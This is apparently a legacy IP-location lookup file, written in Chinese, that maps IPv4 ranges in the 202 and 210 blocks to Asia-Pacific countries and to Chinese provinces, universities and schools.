202.001.160.000__202.001.191.255__所罗门群岛____

202.001.192.000__202.001.223.255__马尔代夫____

202.001.224.000__202.001.231.255__澳大利亚____

202.001.240.000__202.001.255.255__巴布亚新几内亚____

202.002.000.000__202.002.003.255__澳大利亚____

202.002.004.000__202.002.015.255__新西兰____

202.002.016.000__202.002.031.255__澳大利亚____

202.002.032.000__202.002.051.255__香港____

202.002.052.000__202.002.055.255__台湾____

202.002.064.000__202.002.095.255__香港____

202.002.128.000__202.002.255.255__APNIC____

202.003.000.000__202.003.015.255__澳大利亚____

202.003.016.000__202.003.031.255__新西兰____

202.003.096.000__202.003.127.255__印度尼西亚____

202.003.128.000__202.003.255.255__法属玻利尼西亚____

202.004.000.000__202.004.015.255__菲律宾____

202.004.016.000__202.004.024.255__新西兰____

202.004.032.000__202.004.063.255__西萨摩亚____

202.004.096.000__202.004.127.255__孟加拉国____

202.004.128.000__202.004.159.255__北京化工大学____

202.004.159.000__202.004.223.255__香港____

202.004.224.000__202.004.255.255__北京____

202.005.000.000__202.005.031.255__澳大利亚____

202.005.032.000__202.005.063.255__孟加拉国____

202.005.096.000__202.005.127.255__澳大利亚____

202.005.128.000__202.005.159.255__巴基斯坦____

202.005.224.000__202.005.255.255__台湾____

202.006.003.000__202.006.004.255__澳大利亚____

202.006.005.000__202.006.007.255__新西兰____

202.006.008.000__202.006.083.255__澳大利亚____

202.006.084.000__202.006.087.255__新西兰____

202.006.088.000__202.006.089.255__APNIC____

202.006.090.000__202.006.090.255__泰国____

202.006.091.000__202.006.092.255__澳大利亚____

202.006.093.000__202.006.093.255__新西兰____

202.006.095.000__202.006.095.255__南朝鲜____

202.006.098.000__202.006.098.255__日本____

202.006.100.000__202.006.101.255__泰国____

202.006.102.000__202.006.102.255__新加坡____

202.006.103.000__202.006.103.255__日本____

202.006.106.000__202.006.106.255__澳大利亚____

202.006.107.000__202.006.107.255__泰国____

202.006.108.000__202.006.108.255__澳大利亚____

202.006.109.000__202.006.110.255__新西兰____

202.006.111.000__202.006.111.255__泰国____

202.006.112.000__202.006.115.255__澳大利亚____

202.006.128.000__202.007.003.255__APNIC____

202.007.004.000__202.007.007.255__新西兰____

202.007.008.000__202.007.015.255__澳大利亚____

202.007.032.000__202.007.063.255__新西兰____

202.007.128.000__202.007.159.255__香港____

202.007.224.000__202.007.255.255__澳大利亚____

202.008.000.000__202.008.005.255__新加坡____

202.008.008.000__202.008.012.255__新西兰____

202.008.016.000__202.008.039.255__澳大利亚____

202.008.064.000__202.008.075.255__泰国____

202.008.094.000__202.008.095.255__新加坡____

202.008.096.000__202.008.127.255__澳大利亚____

202.008.128.000__202.008.159.255__APNIC____

202.008.224.000__202.008.255.255__菲律宾____

202.009.000.000__202.009.015.255__澳大利亚____

202.009.064.000__202.009.095.255__马来西亚____

202.009.128.000__202.009.159.255__印度____

202.009.224.000__202.010.255.255__澳大利亚____

202.011.000.000__202.011.255.255__日本____

202.012.000.000__202.012.000.255__新西兰____

202.012.001.000__202.012.001.255__澳大利亚____

202.012.002.000__202.012.002.255__新加坡____

202.012.003.000__202.012.003.255__新西兰____

202.012.004.000__202.012.007.255__香港____

202.012.008.000__202.012.015.255__日本____

202.012.017.000__202.012.018.255__菲律宾____

202.012.019.000__202.012.021.255__APNIC____

202.012.022.000__202.012.025.255__澳大利亚____

202.012.026.000__202.012.026.255__文莱达鲁萨兰国____

202.012.027.000__202.012.031.255__APNIC____

202.012.032.000__202.012.069.255__澳大利亚____

202.012.070.000__202.012.070.255__新西兰____

202.012.071.000__202.012.072.255__澳大利亚____

202.012.073.000__202.012.074.255__泰国____

202.012.075.000__202.012.075.255__澳大利亚____

202.012.076.000__202.012.085.255__新西兰____

202.012.086.000__202.012.090.255__澳大利亚____

202.012.091.000__202.012.091.255__新西兰____

202.012.092.000__202.012.093.255__澳大利亚____

202.012.094.000__202.012.095.255__新加坡____

202.012.096.000__202.012.096.255__新西兰____

202.012.097.000__202.012.097.255__泰国____

202.012.098.000__202.012.100.255__澳大利亚____

202.012.101.000__202.012.105.255__新西兰____

202.012.106.000__202.012.107.255__澳大利亚____

202.012.108.000__202.012.108.255__新西兰____

202.012.109.000__202.012.115.255__澳大利亚____

202.012.116.000__202.012.116.255__泰国____

202.012.119.000__202.012.121.255__澳大利亚____

202.012.122.000__202.012.124.255__新西兰____

202.012.125.000__202.012.242.255__澳大利亚____

202.013.000.000__202.013.254.255__日本____

202.014.000.000__202.014.007.255__澳大利亚____

202.014.008.000__202.014.015.255__台湾____

202.014.016.000__202.014.063.255__新西兰____

202.014.064.000__202.014.065.255__澳大利亚____

202.014.066.000__202.014.066.255__澳大利亚____

202.014.067.000__202.014.068.255__香港____

202.014.073.000__202.014.075.255__新西兰____

202.014.076.000__202.014.079.255__澳大利亚____

202.014.080.000__202.014.080.255__香港____

202.014.081.000__202.014.081.255__澳大利亚____

202.014.082.000__202.014.084.255__新西兰____

202.014.088.000__202.014.088.255__北京计算机应用学院____

202.014.089.000__202.014.089.255__澳大利亚____

202.014.090.000__202.014.094.255__泰国____

202.014.095.000__202.014.095.255__澳大利亚____

202.014.096.000__202.014.100.255__新西兰____

202.014.101.000__202.014.101.255__澳大利亚____

202.014.102.000__202.014.102.255__新西兰____

202.014.103.000__202.014.103.255__南朝鲜____

202.014.104.000__202.014.105.255__澳大利亚____

202.014.106.000__202.014.109.255__新西兰____

202.014.110.000__202.014.113.255__澳大利亚____

202.014.114.000__202.014.115.255__新西兰____

202.014.116.000__202.014.116.255__澳大利亚____

202.014.117.000__202.014.117.255__泰国____

202.014.118.000__202.014.126.255__澳大利亚____

202.014.127.000__202.014.127.255__新西兰____

202.014.128.000__202.014.134.255__澳大利亚____

202.014.135.000__202.014.136.255__新西兰____

202.014.137.000__202.014.139.255__澳大利亚____

202.014.140.000__202.014.142.255__新西兰____

202.014.143.000__202.014.148.255__澳大利亚____

202.014.149.000__202.014.150.255__新西兰____

202.014.151.000__202.014.152.255__澳大利亚____

202.014.153.000__202.014.154.255__新加坡____

202.014.155.000__202.014.161.255__澳大利亚____

202.014.162.000__202.014.164.255__泰国____

202.014.165.000__202.014.165.255__南朝鲜____

202.014.166.000__202.014.166.255__澳大利亚____

202.014.167.000__202.014.168.255__新西兰____

202.014.169.000__202.014.215.255__澳大利亚____

202.014.216.000__202.014.218.255__新西兰____

202.014.219.000__202.014.221.255__澳大利亚____

202.014.222.000__202.014.222.255__香港____

202.014.223.000__202.014.223.255__澳大利亚____

202.014.224.000__202.014.228.255__新西兰____

202.014.229.000__202.014.234.255__澳大利亚____

202.014.235.000__202.014.238.255__华北计算技术研究所____

202.014.239.000__202.014.251.255__澳大利亚____

202.014.252.000__202.014.254.255__新西兰____

202.015.000.000__202.019.255.255__日本____

202.020.000.000__202.020.007.255__新西兰____

202.020.008.000__202.020.031.255__澳大利亚____

202.020.032.000__202.020.065.255__新西兰____

202.020.066.000__202.020.066.255__香港____

202.020.067.000__202.020.068.255__泰国____

202.020.069.000__202.020.075.255__澳大利亚____

202.020.076.000__202.020.080.255__新西兰____

202.020.081.000__202.020.081.255__澳大利亚____

202.020.082.000__202.020.086.255__南朝鲜____

202.020.087.000__202.020.087.255__泰国____

202.020.088.000__202.020.089.255__香港____

202.020.090.000__202.020.090.255__日本____

202.020.091.000__202.020.093.255__新西兰____

202.020.094.000__202.020.095.255__香港____

202.020.096.000__202.020.097.255__新西兰____

202.020.098.000__202.020.098.255__香港____

202.020.099.000__202.020.099.255__南朝鲜____

202.020.100.000__202.020.101.255__香港____

202.020.102.000__202.020.104.255__新西兰____

202.020.105.000__202.020.105.255__泰国____

202.020.106.000__202.020.109.255__印度尼西亚____

202.020.110.000__202.020.110.255__日本____

202.020.111.000__202.020.111.255__香港____

202.020.112.000__202.020.112.255__关岛____

202.020.113.000__202.020.113.255__新西兰____

202.020.114.000__202.020.116.255__新加坡____

202.020.117.000__202.020.118.255__香港____

202.020.119.000__202.020.119.255__南朝鲜____

202.020.120.000__202.020.120.255__北京地震所____

202.020.121.000__202.020.122.255__新西兰____

202.020.123.000__202.020.124.255__日本____

202.020.125.000__202.020.127.255__香港____

202.020.128.000__202.021.007.255__南朝鲜____

202.021.008.000__202.021.015.255__澳大利亚____

202.021.016.000__202.021.111.255__新西兰____

202.021.112.000__202.021.127.255__日本____

202.021.128.000__202.021.128.255__香港____

202.021.130.000__202.021.133.255__新西兰____

202.021.134.000__202.021.135.255__泰国____

202.021.138.000__202.021.139.255__新西兰____

202.021.140.000__202.021.140.255__泰国____

202.021.141.000__202.021.143.255__新西兰____

202.021.144.000__202.021.144.255__泰国____

202.021.145.000__202.021.146.255__新加坡____

202.021.147.000__202.021.147.255__印度____

202.021.148.000__202.021.148.255__马来西亚____

202.021.149.000__202.021.149.255__泰国____

202.021.150.000__202.021.153.255__日本____

202.021.154.000__202.021.154.255__新加坡____

202.021.155.000__202.021.157.255__新西兰____

202.021.192.000__202.021.255.255__新加坡____

202.022.000.000__202.022.007.255__新西兰____

202.022.008.000__202.022.015.255__泰国____

202.022.016.000__202.022.031.255__新西兰____

202.022.064.000__202.022.127.255__日本____

202.022.128.000__202.022.159.255__新喀里多尼亚____

202.022.224.000__202.022.255.255__上海____

202.023.000.000__202.026.255.255__日本____

202.027.000.000__202.027.015.255__新西兰____

202.027.016.000__202.027.031.255__新加坡____

202.027.032.000__202.027.255.255__新西兰____

202.028.000.000__202.029.255.255__泰国____

202.030.000.000__202.031.255.255__南朝鲜____

202.032.000.000__202.035.255.255__日本____

202.036.000.000__202.037.255.255__新西兰____

202.038.000.000__202.038.001.255__复旦大学____

202.038.002.000__202.038.003.255__南京大学____

202.038.004.000__202.038.007.255__上海____

202.038.008.000__202.038.015.255__北京____

202.038.032.000__202.038.047.255__北京____

202.038.064.000__202.038.096.255__中国科技大学____

202.038.126.000__202.038.127.255__北京____

202.038.096.000__202.038.127.255__中国教育网____

202.038.128.000__202.038.129.255__北京____

202.038.130.000__202.038.131.255__云南大学____

202.038.132.000__202.038.134.255__上海____

202.038.135.000__202.038.135.255__上海交通大学____

202.038.136.000__202.038.138.255__北京____

202.038.140.000__202.038.141.255__广东汕头大学____

202.038.142.000__202.038.142.255__北京邮电管理学院____

202.038.143.000__202.038.143.255__南京大学____

202.038.146.000__202.038.147.255__北京____

202.038.149.000__202.038.153.255__北京____

202.038.154.000__202.038.155.255__广东____

202.038.156.000__202.038.156.255__山东____

202.038.160.000__202.038.161.255__北京____

202.038.164.000__202.038.167.255__吉林____

202.038.000.000__202.038.255.255__中国____

202.000.000.000__202.000.009.255__澳大利亚____

202.000.010.000__202.000.010.255__新西兰____

202.000.011.000__202.000.015.255__澳大利亚____

202.000.016.000__202.000.031.255__菲律宾____

202.000.032.000__202.000.063.255__新西兰____

202.000.064.000__202.000.064.255__澳大利亚____

202.000.065.000__202.000.066.255__日本____

202.000.067.000__202.000.070.255__澳大利亚____

202.000.071.000__202.000.071.255__新加坡____

202.000.072.000__202.000.073.255__日本____

202.000.074.000__202.000.075.255__澳大利亚____

202.000.076.000__202.000.076.255__日本____

202.000.077.000__202.000.078.255__香港____

202.000.079.000__202.000.079.255__泰国____

202.000.080.000__202.000.080.255__巴布亚新几内亚____

202.000.081.000__202.000.081.255__印度尼西亚____

202.000.082.000__202.000.082.255__澳大利亚____

202.000.082.000__202.000.083.255__澳大利亚____

202.000.083.000__202.000.083.255__澳大利亚____

202.000.084.000__202.000.084.255__新西兰____

202.000.085.000__202.000.087.255__澳大利亚____

202.000.088.000__202.000.089.255__新加坡____

202.000.090.000__202.000.092.255__澳大利亚____

202.000.093.000__202.000.093.255__日本____

202.000.094.000__202.000.094.255__马来西亚____

202.000.095.000__202.000.096.255__澳大利亚____

202.000.097.000__202.000.097.255__新西兰____

202.000.098.000__202.000.099.255__澳大利亚____

202.000.100.000__202.000.100.255__香港____

202.000.101.000__202.000.102.255__澳大利亚____

202.000.103.000__202.000.103.255__印度尼西亚____

202.000.104.000__202.000.104.255__香港____

202.000.105.000__202.000.109.255__澳大利亚____

202.000.110.000__202.000.110.255__中国____

202.000.111.000__202.000.111.255__泰国____

202.000.112.000__202.000.112.255__香港____

202.000.113.000__202.000.115.255__澳大利亚____

202.000.116.000__202.000.116.255__印度尼西亚____

202.000.117.000__202.000.120.255__泰国____

202.000.121.000__202.000.121.255__新西兰____

202.000.122.000__202.000.123.255__香港____

202.000.124.000__202.000.125.255__新西兰____

202.000.127.000__202.000.127.255__新加坡____

202.000.128.000__202.000.147.255__香港____

202.000.148.000__202.000.148.255__澳大利亚____

202.000.149.000__202.000.150.255__新加坡____

202.000.151.000__202.000.151.255__新西兰____

202.000.152.000__202.000.152.255__新加坡____

202.000.153.000__202.000.153.255__新西兰____

202.000.154.000__202.000.154.255__澳大利亚____

202.000.156.000__202.000.159.255__新喀里多尼亚____

202.000.160.000__202.000.183.255__香港____

202.000.188.000__202.000.255.255__美国____

202.001.000.000__202.001.004.255__澳大利亚____

202.000.000.000__202.255.255.255__未知地区____

210.000.000.000__210.000.031.255__澳大利亚____

210.007.128.000__210.007.255.255__日本____

210.008.000.000__210.009.255.255__澳大利亚____

210.012.000.000__210.012.003.031__北京____

210.012.003.032__210.012.003.095__山东____

210.012.004.000__210.012.004.255__河南____

210.012.005.000__210.012.007.255__北京____

210.012.008.000__210.012.008.255__四川____

210.012.009.000__210.012.009.255__福建____

210.012.010.000__210.012.010.255__广东____

210.012.011.000__210.012.012.255__吉林____

210.012.013.000__210.012.013.255__山西____

210.012.014.000__210.012.014.255__河北____

210.012.015.000__210.012.015.255__山东____

210.012.016.000__210.012.016.063__湖北____

210.012.016.064__210.012.017.255__山东____

210.012.018.000__210.012.018.007__广西____

210.012.019.000__210.012.019.031__陕西____

210.012.020.000__210.012.020.255__湖北____

210.012.023.000__210.012.023.255__陕西____

210.012.024.000__210.012.024.255__辽宁____

210.012.025.000__210.012.026.127__天津____

210.012.027.000__210.012.027.255__江苏____

210.012.028.000__210.012.028.255__吉林____

210.012.029.000__210.012.029.255__中国____

210.012.030.000__210.012.030.255__黑龙江____

210.012.031.000__210.012.031.255__山东____

210.012.033.000__210.012.033.255__新疆____

210.012.034.000__210.012.034.255__辽宁____

210.012.035.000__210.012.035.127__山西____

210.012.036.000__210.012.036.255__北京____

210.012.037.000__210.012.037.255__山西____

210.012.038.000__210.012.038.095__北京____

210.012.039.000__210.012.039.255__吉林____

210.012.040.000__210.012.040.063__北京____

210.012.041.000__210.012.041.255__黑龙江____

210.012.042.000__210.012.042.255__北京____

210.012.043.000__210.012.043.255__黑龙江____

210.012.045.000__210.012.045.255__北京____

210.012.058.000__210.012.058.255__湖北____

210.012.059.000__210.012.059.255__湖南____

210.012.060.000__210.012.060.255__四川____

210.012.061.000__210.012.061.255__湖北____

210.012.062.000__210.012.062.255__四川____

210.012.063.000__210.012.063.255__湖南____

210.012.000.000__210.012.063.255__中国____

210.014.000.000__210.014.031.255__菲律宾____

210.014.224.000__210.014.226.255__广东____

210.014.249.000__210.014.249.255__云南____

210.014.250.000__210.014.250.255__贵州____

210.014.253.000__210.014.253.255__广东____

210.014.254.000__210.014.254.255__广东____

210.014.255.000__210.014.255.255__海南____

210.014.224.000__210.014.255.255__中国____

210.015.192.000__210.015.255.255__澳大利亚____

210.016.000.000__210.016.127.255__菲律宾____

210.017.000.000__210.017.127.255__台湾____

210.023.128.000__210.023.159.255__新加坡____

210.023.224.000__210.023.255.255__菲律宾____

210.024.000.000__210.024.255.255__新加坡____

210.026.000.000__210.026.015.255__西北民族学院____

210.026.016.000__210.026.023.255__兰州工业高等专科学校____

210.026.024.000__210.026.031.255__天水师范高等专科学校____

210.026.032.000__210.026.039.255__甘肃____

210.026.128.000__210.026.135.255__新疆广播电视大学____

210.026.136.000__210.026.143.255__新疆____

210.026.144.000__210.026.151.255__乌鲁木齐职业大学____

210.026.152.000__210.026.159.255__新疆生产建设兵团广播电视大学____

210.026.160.000__210.026.167.255__新疆农业科学院____

210.026.168.000__210.026.175.255__新疆医科大学____

210.026.176.000__210.026.191.255__塔里木农垦大学____

210.027.000.000__210.027.015.255__西安教育学院____

210.027.016.000__210.027.031.255__长庆石油勘探局通信处____

210.027.064.000__210.027.079.255__第二炮兵工程学院____

210.027.240.000__210.027.255.255__宁夏广播电视大学____

210.028.000.000__210.028.007.255__镇江医学院____

210.028.008.000__210.028.015.255__南京化工学校____

210.028.016.000__210.028.031.255__江南学院____

210.028.032.000__210.028.047.255__淮海工学院____

210.028.048.000__210.028.055.255__南京艺术学院____

210.028.056.000__210.028.063.255__镇江师范专科学校____

210.028.064.000__210.028.079.255__江苏____

210.028.080.000__210.028.087.255__南京经济学院____

210.028.088.000__210.028.091.255__南京人口管理干部学院____

210.028.092.000__210.028.093.255__南京审计学院____

210.028.096.000__210.028.111.255__南京机电学校____

210.028.112.000__210.028.119.255__苏州铁道师范学院____

210.028.120.000__210.028.127.255__江苏省邮电学校____

210.028.128.000__210.028.143.255__中国人民解放军通信工程学院____

210.028.144.000__210.028.159.255__无锡市科学技术委员会____

210.028.160.000__210.028.167.255__常熟高等专科学校____

210.028.168.000__210.028.171.255__南京铁路运输学校____

210.028.172.000__210.028.175.255__江苏省武进高级中学____

210.028.176.000__210.028.183.255__盐城师范专科学校____

210.028.184.000__210.028.191.255__南京市金陵职业大学____

210.028.192.000__210.028.207.255__南京建筑工程学院____

210.028.208.000__210.028.215.255__江苏公安专科学校____

210.028.216.000__210.028.223.255__江苏广播电视大学____

210.028.224.000__210.028.239.255__南通纺织工业学校____

210.028.240.000__210.028.255.255__南通工学院____

210.029.000.000__210.029.015.255__苏州城建环保学院____

210.029.016.000__210.029.031.255__南京机械高等专科学校____

210.029.032.000__210.029.047.255__江苏____

210.029.064.000__210.029.079.255__南通师范学院____

210.029.080.000__210.029.083.255__江苏省武进横林中学____

210.029.084.000__210.029.087.255__江苏省武进横山桥中学____

210.029.088.000__210.029.095.255__镇江市高等专科学校____

210.029.096.000__210.029.111.255__河海大学常州分校____

210.029.112.000__210.029.127.255__南京广播电视大学____

210.029.128.000__210.029.143.255__南京师范大学____

210.029.144.000__210.029.147.255__南京师范专科学校____

210.029.148.000__210.029.151.255__江苏省南通供销学校____

210.029.152.000__210.029.159.255__淮阴工业专科学校 ____

210.029.160.000__210.029.167.255__南京工业学校____

210.029.168.000__210.029.175.255__苏州医学院____

210.029.176.000__210.029.191.255__江苏省南通农业学校____

210.029.192.000__210.029.207.255__常州技术师范学院____

210.029.208.000__210.029.223.255__江苏省盐城纺织工业学校____

210.029.224.000__210.029.231.255__淮阴电子工业学校____

210.029.232.000__210.029.239.255__江苏省畜牧兽医学校____

210.029.240.000__210.029.255.255__南京大学____

210.030.000.000__210.030.015.255__大连民族学院____

210.030.016.000__210.030.019.255__辽宁____

210.032.000.000__210.032.015.255__浙江医科大学____

210.032.016.000__210.032.019.255__浙江中医学院____

210.032.020.000__210.032.023.255__浙江财经学院____

210.032.024.000__210.032.027.255__浙江丝绸工学院____

210.032.028.000__210.032.031.255__浙江水产学院____

210.032.032.000__210.032.039.255__杭州电子工业学院____

210.032.040.000__210.032.043.255__杭州师范学院____

210.032.048.000__210.032.051.255__杭州广播电视大学____

210.032.000.000__210.032.127.255__浙江____

210.032.128.000__210.032.159.255__浙江大学____

210.032.160.000__210.032.175.255__浙江农业大学____

210.032.176.000__210.032.191.255__杭州大学____

210.032.192.000__210.032.199.255__杭州金融管理干部学院____

210.032.200.000__210.032.207.255__浙江工业大学____

210.033.000.000__210.033.003.255__浙江高等公安专科学校____

210.033.004.000__210.033.007.255__杭州应用工程技术学院____

210.033.008.000__210.033.011.255__宁波高等专科学校____

210.033.012.000__210.033.015.255__浙江____

210.033.016.000__210.033.023.255__宁波大学____

210.033.024.000__210.033.027.255__绍兴文理学院____

210.033.028.000__210.033.031.255__嘉兴高等专科学院____

210.033.032.000__210.033.035.255__浙江嘉兴经济高等专科学校____

210.033.036.000__210.033.039.255__国家海洋局海洋二所____

210.033.040.000__210.033.043.255__中国计量学院____

210.033.044.000__210.033.047.255__温州大学____

210.033.048.000__210.033.051.255__浙江农村技术师范专科学校____

210.033.052.000__210.033.055.255__温州医学院____

210.033.056.000__210.033.059.255__湖州师范专科学校____

210.033.060.000__210.033.063.255__浙江林学院____

210.033.064.000__210.033.067.255__浙江广播电视大学萧山分校____

210.033.068.000__210.033.071.255__温州师范学院____

210.033.072.000__210.033.075.255__浙江水利水电专科学校____

210.033.076.000__210.033.079.255__浙江省科技情报所____

210.033.080.000__210.033.087.255__浙江师范大学____

210.033.088.000__210.033.095.255__杭州商学院____

210.033.096.000__210.033.097.255__杭州市第二中学____

210.033.098.000__210.033.099.255__浙江省义乌中学____

210.033.100.000__210.033.101.255__浙江省东阳中学____

210.033.102.000__210.033.103.255__浙江____

210.033.104.000__210.033.107.255__浙江省教育委员会____

210.033.108.000__210.033.109.255__浙江萧山中学____

210.033.110.000__210.033.111.255__浙江____

210.033.112.000__210.033.113.255__浙江省委党校____

210.033.112.000__210.033.115.255__中国美术学院____

210.033.114.000__210.033.115.255__浙江省余姚中学____

210.033.116.000__210.033.119.255__浙江广播电视大学____

210.033.120.000__210.033.123.255__浙江教育学院____

210.033.124.000__210.033.127.255__中国美术学院____

210.033.132.000__210.033.135.255__浙江省杭州学军中学____

210.033.136.000__210.033.139.255__浙江____

210.033.140.000__210.033.141.255__浙江省余杭市高级中学____

210.033.144.000__210.033.147.255__嘉兴广播电视大学____

210.033.248.000__210.033.255.255__仰恩大学____

210.034.000.000__210.034.023.255__厦门大学____

210.034.032.000__210.034.047.255__福建师范大学____

210.034.048.000__210.034.063.255__福州大学____

210.034.064.000__210.034.079.255__福建中医学院____

210.034.080.000__210.034.095.255__福建农业大学____

210.034.096.000__210.034.111.255__福建医科大学____

210.034.112.000__210.034.119.255__福建公安高等专科学校____

210.034.120.000__210.034.127.255__泉州师范高等专科学校____

210.034.128.000__210.034.143.255__集美航海学院____

210.034.144.000__210.034.159.255__集美大学____

210.034.160.000__210.034.175.255__厦门水产学院____

210.034.192.000__210.034.199.255__福建建筑高等专科学校____

210.034.200.000__210.034.207.255__北京邮电大学福州分校____

210.034.208.000__210.034.211.255__厦门医学院____

210.034.210.000__210.034.211.255__福建厦门大学东区____

210.034.212.000__210.034.215.255__鹭江职业大学____

210.034.216.000__210.034.219.255__福建____

210.034.224.000__210.034.227.255__莆田高等专科学校____

210.034.232.000__210.034.239.255__福建____

210.034.240.000__210.034.255.255__华侨大学____

210.035.000.000__210.035.003.255__南昌水利水电高等专科学校____

210.035.008.000__210.035.015.255__江西教育学院____

210.035.016.000__210.035.023.255__九江高等师范专科学校____

210.035.032.000__210.035.035.255__温州广播电视大学____

210.035.048.000__210.035.049.255__宁波广播电视大学____

210.035.050.000__210.035.051.255__上海____

210.035.052.000__210.035.055.255__浙江____

210.035.060.000__210.035.063.255__台州广播电视大学____

210.035.064.000__210.035.067.255__上海应用技术学院____

210.035.068.000__210.035.071.255__上海电机技术高等专科学校____

210.035.072.000__210.035.079.255__上海对外贸易学院____

210.035.080.000__210.035.083.255__上海市经济管理干部学院____

210.035.088.000__210.035.095.255__上海电力学院____

210.035.096.000__210.035.099.255__幽谷仙境____

210.035.100.000__210.035.103.255__立信会计高等专科学校____

210.035.104.000__210.035.107.255__上海商业职业技术学院____

210.035.124.000__210.035.127.255__上海____

210.035.128.000__210.035.143.255__江西农业大学____

210.035.144.000__210.035.151.255__江西医科大学____

210.035.160.000__210.035.167.255__江西师范大学____

210.035.168.000__210.035.171.255__江西____

210.035.176.000__210.035.183.255__江西中医学院____

210.035.192.000__210.035.207.255__江西财经大学____

210.035.208.000__210.035.215.255__宜春师范专科学校____

210.035.216.000__210.035.223.255__南方冶金学院____

210.035.224.000__210.035.239.255__江西广播电视大学____

210.035.240.000__210.035.255.255__南昌大学____

210.036.000.000__210.036.007.255__广西____

210.036.008.000__210.036.015.255__广西教育学院____

210.036.016.000__210.036.031.255__广西大学____

210.036.032.000__210.036.047.255__广西农业大学____

210.036.048.000__210.036.063.255__广西医科大学____

210.036.064.000__210.036.079.255__广西民族学院____

210.036.080.000__210.036.095.255__广西师范学院____

210.036.096.000__210.036.111.255__广西中医学院____

210.036.112.000__210.036.119.255__广西水电学院____

210.036.120.000__210.036.127.255__广西农业学院____

210.036.136.000__210.036.143.255__广西商业高等专科学校____

210.036.144.000__210.036.151.255__广西财政高等专科学校____

210.036.160.000__210.036.167.255__南宁职业大学____

210.036.168.000__210.036.175.255__邕江大学____

210.036.176.000__210.036.183.255__广西经济管理干部学院____

210.036.184.000__210.036.191.255__广西广播电视大学____

210.036.192.000__210.036.199.255__南宁市教育学院____

210.036.208.000__210.036.211.255__广西交通学校____

210.036.216.000__210.036.223.255__广西对外经济贸易学校____

210.036.244.000__210.036.247.255__南宁____

210.036.252.000__210.036.255.255__广西____

210.037.000.000__210.037.015.255__海南师范大学____

210.037.020.000__210.037.023.255__海南省考试局____

210.037.024.000__210.037.031.255__海南____

210.037.032.000__210.037.047.255__海南大学____

210.037.048.000__210.037.063.255__中国热带农业大学____

210.037.064.000__210.037.079.255__海南医学院____

210.037.080.000__210.037.095.255__海南省政府____

210.037.098.000__210.037.099.255__海南省第二卫生学校____

210.037.112.000__210.037.119.255__海南省教育学院____

210.037.120.000__210.037.127.255__海南省电视大学____

210.037.132.000__210.037.133.255__海南省卫生学校____

210.037.134.000__210.037.135.255__海南省海口市技工学校____

210.037.138.000__210.037.139.255__海南省海口市第七中学____

210.037.144.000__210.037.159.255__琼州大学____

210.037.164.000__210.037.165.255__海南省技工学校____

210.037.168.000__210.037.169.255__海南省粮食学校____

210.037.172.000__210.037.173.255__海南省琼山中学____

210.037.174.000__210.037.175.255__海南省琼山华侨中学____

210.037.186.000__210.037.187.255__海南省琼海万泉中学____

210.037.188.000__210.037.189.255__海南省琼海职工中学____

210.037.196.000__210.037.197.255__海南省三亚市第一中学____

210.037.198.000__210.037.199.255__海南省三亚市第二中学____

210.037.200.000__210.037.201.255__海南省三亚市第三中学____

210.037.204.000__210.037.205.255__海南省三亚市实验小学____

210.037.206.000__210.037.207.255__海南省三亚市第一小学____

210.037.210.000__210.037.211.255__海南省通什农校____

210.037.212.000__210.037.213.255__海南省民族师范学校____

210.037.214.000__210.037.215.255__海南省民族技工学校____

210.037.216.000__210.037.217.255__海南省华侨中学____

210.037.220.000__210.037.221.255__海南省文昌华侨中学____

210.037.222.000__210.037.223.255__海南省文昌中学____

210.037.228.000__210.037.229.025__海南省那大中学____

210.037.230.000__210.037.231.255__海南省那大二中____

210.037.232.000__210.037.233.255__海南省那大三中____

210.037.234.000__210.037.235.255__海南省那大四中____

210.037.236.000__210.037.237.255__海南省儋州市师范学校____

210.037.238.000__210.037.239.255__海南省儋州市卫生学校____

210.037.240.000__210.037.241.255__海南省海口市第一中学____

210.037.242.000__210.037.243.255__海南省农垦中学____

210.037.244.000__210.037.245.255__海南省海口实验中学____

210.037.246.000__210.037.247.255__海南省海口景山中学____

210.037.248.000__210.037.249.255__海南省海口市第十中学____

210.037.250.000__210.037.251.255__海南省海口市第九小学____

210.037.252.000__210.037.253.255__海南省海口市第二十五小学____

210.037.254.000__210.037.255.255__海南省海南立达学园____

210.038.000.000__210.038.007.255__广东____

210.038.024.000__210.038.031.255__广州美术学院____

210.038.032.000__210.038.047.255__广东省广播电视大学____

210.038.048.000__210.038.055.255__广东省对外贸易学校____

210.038.056.000__210.038.063.255__广州医学院____

210.038.064.000__210.038.079.255__广东教育学院____

210.038.080.000__210.038.083.255__广东省财政学校____

210.038.084.000__210.038.087.255__广州美国人国际学校____

210.038.096.000__210.038.111.255__广州中医药大学____

210.038.112.000__210.038.119.255__番禺理工学院____

210.038.120.000__210.038.123.255__南华工商学院____

210.038.124.000__210.038.127.255__广东省邮电学校____

210.038.128.000__210.038.143.255__湛江海洋大学____

210.038.144.000__210.038.151.255__湛江海洋大学____

210.038.152.000__210.038.159.255__顺德职业技术学院____

210.038.160.000__210.038.175.255__嘉应大学____

210.038.176.000__210.038.191.255__西江大学____

210.038.192.000__210.038.207.255__广东韶关大学____

210.038.208.000__210.038.223.255__韩山师范学院____

210.038.224.000__210.038.239.255__中山学院____

210.038.240.000__210.038.255.255__广东石油化工高等专科学校____

210.039.000.000__210.039.015.255__深圳大学____

210.039.032.000__210.039.039.255__深圳市高等职业技术学院____

210.039.048.000__210.039.063.255__深圳广播电视大学____

210.039.064.000__210.039.071.255__深圳外语学校____

210.039.072.000__210.039.073.255__广东____

210.039.076.000__210.039.079.255__广东航海高等专科学校____

210.039.080.000__210.039.083.255__广东金融高等专科学校____

210.039.084.000__210.039.087.255__私立培正商学院____

210.039.088.000__210.039.091.255__私立华联学院____

210.039.092.000__210.039.095.255__广东财税高等专科学校____

210.039.096.000__210.039.099.255__广东公安高等专科学校____

210.039.100.000__210.039.103.255__星海音乐学院____

210.039.104.000__210.039.111.255__深圳市委党校____

210.039.112.000__210.039.115.255__广州体育学院____

210.039.116.000__210.039.119.255__高州师范学校小教____

210.039.120.000__210.039.123.255__东莞师范学校小教____

210.039.124.000__210.039.127.255__新会师范学校小教____

210.039.128.000__210.039.131.255__广州师范学校小教____

210.039.132.000__210.039.135.255__广东外语师范学校____

210.039.136.000__210.039.139.255__佛山市教育委员会____

210.039.136.000__210.039.143.255__佛山教育学院____

210.039.144.000__210.039.151.255__惠阳师范专科学校____

210.039.152.000__210.039.159.255__惠州教育学院____

210.039.160.000__210.039.167.255__江门教育学院____

210.039.168.000__210.039.175.255__嘉应教育学院____

210.039.176.000__210.039.183.025__茂名教育学院____

210.039.184.000__210.039.187.255__中山师范学校____

210.039.188.000__210.039.191.255__南海师范学校____

210.039.192.000__210.039.199.255__韶关教育学院____

210.039.200.000__210.039.207.255__肇庆教育学院____

